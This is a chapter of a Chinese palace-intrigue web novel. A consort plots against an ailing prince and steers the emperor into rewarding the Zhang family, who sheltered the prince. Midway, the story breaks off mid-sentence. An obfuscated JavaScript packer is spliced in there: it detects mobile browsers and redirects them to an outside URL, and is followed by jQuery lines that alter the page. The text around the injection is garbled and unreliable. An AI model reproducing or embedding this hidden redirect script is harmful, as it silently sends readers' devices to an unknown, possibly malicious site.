瑶池殿中,银剪修剪花枝的轻响戛然断了,赵贵嫔指尖捏着半朵玉兰,看向堂下回话的婢女:“病了?”
“确确实实是病了,每日里几乎没有清醒的时候,更说不出话来,太医署和佑炆殿上下,都是这般说的。”婢女多方奔走,得到的确也是那七皇子惊恐忧惧,缠绵病榻的消息,“若贵嫔还有疑心,可否要诏那太医署的人来亲自问问?”
赵贵嫔将手中的银剪放在漆盒中,拨弄着手中的花枝,没有接话。
贸然暗杀七皇子一举,本就是赵家大哥心急之下出的险招,如今七皇子刚刚回宫,正在风口浪尖上,最好是不要再出什么端倪。
既然他病中神思混沌,就算是知道什么,也无凭据,赵家如今势头大好,实在不必为了一个不受宠的小皇子,给朝臣们落下什么话柄。等这阵风头过了,寻得合适的机会,有的是悄无声息让他永远“病下去”的法子。
“不必了。”赵贵嫔沉声开口,“你盯着佑炆殿的事,要做得干净,莫要让陛下察觉到。”
“贵嫔放心。”
殿内刚刚静了片刻,殿外就远远地传来了一阵清脆的童声。
“父皇,父皇。”是玉瓒公主的声音。
“唉。”景和帝应道,俯身亲自将扑过来的小女儿抱了起来。
玉瓒小公主其貌似母,生得娇俏可人,一双杏眼透着水盈盈的娇憨,景和帝老来得女,也难得从那副帝王姿态下,溢出了些许父爱。
小公主手上折了一只艳红的春日牡丹,被父皇高高抱起后,兴奋地举着花枝,脆声嚷着:“我给父皇簪花。”
说罢,便伸出小手,将那朵新鲜的花枝别在了景和帝花白的鬓间。
景和帝顶着这朵花,故意偏了偏头,望向身后的众人笑道:“好看吗,啊?”
“好看,好看。”身边的常玉连声附和着。
赵贵嫔自屋中缓步出来相迎,垂首行礼,婉婉声道:“陛下要来,怎么也不先命人告诉妾一声,害得妾连茶水都未曾备好。”
“朕刚下朝,顺道来看看玉瓒。”景和帝抱了玉瓒一会儿,似乎也有些累着了,旋即将公主放回地上,大步往殿内走去。
殿内玉兰花香清润,让人闻之欲醉,景和帝往软榻上一坐,揉着发胀的眼角,似是被今日朝上大会吵得头疼。
赵贵嫔命人去备茶水,转头时,目光恰巧落在景和帝鬓角别着的那朵春日牡丹上,她忍不住盈盈一笑道:“花可解忧,陛下既然已经簪花了,怎么还皱着眉呢?”
景和帝不语,可赵贵嫔心里可一清二楚,她虽身在后宫,却对前朝洞若观火,近日地方州郡递上来了举荐的名单,想来定是这份名单陛下不甚满意。
袭国如今国力不盛,人才凋零,有点真才实学的,十有八九又多依附于士族大家,没有几个能真正握在帝王手中。
可那士族老臣们呢,一个个要么龟缩不前,要么结党营私,地方基层官员的举荐尚且如此,更别说这绥京朝堂了。
景和帝需要人,可国库又不充盈,不能效仿那北朔皇帝用真金白银砸出个求贤令,便只能另辟蹊径,思来想去,心下琢磨出一招:修典。
东袭国有江河湖海,有沃野千里,上承先哲遗智,下聚民生技艺,修典传颂,既可笼络士族旧臣,又可广布四洲,以彰显袭国之名。
都说这盛世修典,可景和帝偏不信邪,既然国库没钱,那就用商贾的钱来修,凡愿捐资助典者,均可注名入典,光耀门楣,世代传颂,且家中若有子弟入仕,还可凭此获得举荐资历。
商贾地主没有门第根基,本就缺乏上升途径,闻此政策自然喜不自胜,可这钱搞定了,主持修典之人却迟迟定不下来。
此人最好是既在四洲之中享有盛名,又在袭国境内兼具威望之人,且更好是朝堂民间各占一位,士族寒门各择一名,如此聚合多方之力,方能彰显大典威望。
只可惜,景和帝这满心的筹谋,却在朝堂上碰了壁。修典之事一经提出,大臣们便个个三缄其口。
对于下面的人来说,修典不仅辛苦,更是费力不讨好。
修好了,不见得就能达到景和帝招揽四洲人才的期望,修坏了,更是徒增千古骂名。
况且,这景和帝还不愿将事全权交到士族手上,偏偏还想去民间捞位大师来坐镇,相当于要在士族眼皮底下另起炉灶,这谁愿意干?
这事景和帝私下也跟赵贵嫔提过一嘴,本意是想借赵家之力去寻访民间高人,可这赵氏一族哪有那本事,平平无奇的大儒推荐了好几位,论声望连袭国境内都镇不住,更别提能撼动四洲了。
既然民间的人迟迟定不下来,那士族里总得有人挑这大梁吧。
景和帝自然而然地就瞄准了张淮之。
这张老太公名响四洲,张淮之又是太学祭酒,简直就是舍他其谁,私下里跟他递过好几次话,却又都被他找各种托词给弹了回来。
堂堂一国之君,想找人编本书都这么难,也不怪景和帝成日愁眉不展。
宫人备好了茶水,赵贵嫔亲自上前,将茶盏稳稳地奉到景和帝手边,接着似有若无地提了一句:“七皇子回宫也有些日子了,陛下可要去见见?”
“嗯。”景和帝接过茶盏,喝了一口,润了润嗓子,“过阵子吧,听太医说他病还未好全,还需静养。”
“说起来,这七皇子也是可怜。”赵贵嫔顺势应着,“虽然外面不曾声张,但妾私下里听兄嫂说,七皇子似乎还是从张府接回来的呢。”
“张府?”景和帝一顿,“张淮之的张府?”
“听兄嫂说,七皇子殿下被山贼吓得四处逃窜,路上饿得不行偷了人家的钱袋,还险些被送去京兆尹,这张府和江府家的两位公子恰巧上街碰见了,觉着他可怜,将其带回府中,想为他寻找家人,偏偏七殿下被吓得说不出话,这才闹了误会,害得兄长城内城外翻了个遍,原来这七殿下啊,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445023|185064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在眼皮子底下。”
“哦?”景和帝来了兴致,“还有这桩巧事。”
“想来是这张大人向来低调,不爱招惹是非,故而才让兄长隐下此事。”赵贵嫔莞尔笑道,旋即话锋一转,“可救下皇子,毕竟是大功一件啊。”
这话正正戳中了景和帝的心思,他正愁找不到由头撬动张淮之这只老乌龟,这下恰好有了。
隔日,一纸诏书就砸向了张府——
“朕闻太学祭酒之子张岁安,性资敏慧,行止端方,仁心可嘉,智识可称,特擢尔为兰台令史,掌校正秘书,刊定典籍,钦此。”
张岁安三跪九叩,恭敬回奏:“臣,叩谢陛下天恩。”
言罢,传旨的内官将圣旨搁到张岁安手心,刻意压低了声线,提点道:“昨日,是贵嫔在陛下跟前提了一句,七皇子能顺利回宫,还要得借张公子救驾有功,陛下这才特赏了这一官职。”
张岁安一怔,眼底掠过一丝疑虑,旋即迅速收敛神色,躬身又行了个礼道:“多谢贵嫔周全。”
传旨内官顿步告退,转头又去了隔壁的江府。
不过半盏茶的功夫,张府门前就响起江崇那石破天惊的喊叫——
“竟然是皇子!”江崇自拿到圣旨那刻,都还没反应过来,“他他他,竟然就是那个嫡出的七皇子!”
张岁安得封官职,同属救驾之功的江崇也跟着沾光,一道圣旨,把他从郎官拔升成了副骑都尉。
江崇一个脑袋三个问,又惊又喜地冲进张府书房,把还没回过神的张岁安左颠右摇地晃,像是想把他那三魂七魄都摇归位来。
“子康,你说话啊,你什么时候知道他是皇子的?怎么也不告诉我一声!你怎么不说话?是不是也吓傻了,啊?”
张岁安被晃得眼前发花,却还是一声不吭。
自小七被带走后,他被张淮之关在家中月余,大门不出二门不迈,隔壁江府的大人们虽然猜出了些许端倪,但江崇却没看出什么名堂来,还以为是张淮之忽然回家,张岁安被逮了个正着,才被禁了足。
“我之前还说七皇子是小倌,这算不算是玷污贵人名声啊?”江崇止不住地嘎嘎乱叫,“七殿下不会记仇吧,他要是告诉陛下,那我岂不是完了!”
只是这江崇一个劲地连珠炮,可张岁安却始终沉默如石。
他还沉浸在方才传旨内官的那番话中。
凭借张岁安的家世和才能,若不是父亲有意避嫌,他哪里会缺官做。可赵贵嫔却偏偏要在景和帝跟前挑明,还刻意帮自己讨赏,卖了张家一个人情。
皇家恩赏,多是牵丝绕线,这一步棋,走得实在太过明显。
“哎,我听传旨的内官说,”江崇刻意压低了嗓子,“是赵贵嫔为咱俩讨的赏,真的假的,我们与赵家又没有来往,她为何要帮我们啊?”
“原本没有来往。”张岁安缓缓抬起眼皮,看了江崇一眼,“这下可能就不得不有了。”